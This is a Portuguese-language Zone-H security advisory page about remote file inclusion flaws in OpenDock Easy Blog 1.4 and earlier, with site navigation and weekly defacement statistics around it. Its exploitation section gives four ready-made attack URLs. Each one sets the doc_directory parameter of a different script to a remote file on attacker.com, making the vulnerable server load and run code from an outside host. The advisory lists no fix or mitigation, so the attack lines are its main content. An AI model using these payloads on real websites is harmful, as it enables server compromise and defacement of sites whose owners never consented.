Zone-H
Home arrow Avisos de Segurança arrow OpenDock Easy Blog: Multiplas Vulnerabilidades de Inclusão de Arquivos Remotos
08 de October de 2008
 
 
Ataques desta semana
O.S.  Defs.  %
Linux  12345  74.61%
Win 2003  2839  17.16%
Win 2000  863  5.22%
FreeBSD  329  1.99%
Unknown  53  0.32%
Other  118  0.71%

Total de ataques: 16547 dos quais 4885 único(s) no ip e 11662 invasão(ões) em massa

Menu Principal
Home
Guerra Digital
Geopolítica
Notícias ITsec
Avisos de Segurança
Test Drive
360°
Sites atacados
Eventos do Zone-H
Fórum
Publicações
Zone-H Amigos/Parceiros
Contate-nos
Sobre este Site
Membros do Zone-H BR
Favoritos geral
Zone-H.org
Área de download
OpenDock Easy Blog: Multiplas Vulnerabilidades de Inclusão de Arquivos Remotos Imprimir E-mail
Avaliação do Usuário: / 0
PiorMelhor 
09 de October de 2006
Nome do Script: OpenDock Easy Blog
Site do script: http://web.opendock.net
Versão Afetada: 1.4 e anteriores

Encontrado por the_day
Email: dedi.dwianto[at]pacomnet.com

Exploração:

http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_up_file/find_file.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_comment/comment.php?doc_directory=http://attacker.com/inject.txt?
http://target.com/[OpenDockEasyBlog_Path]/sw/lib_find/find.php?doc_directory=http://attacker.com/inject.txt?
 
< Anterior   Próximo >
 
Top! Top!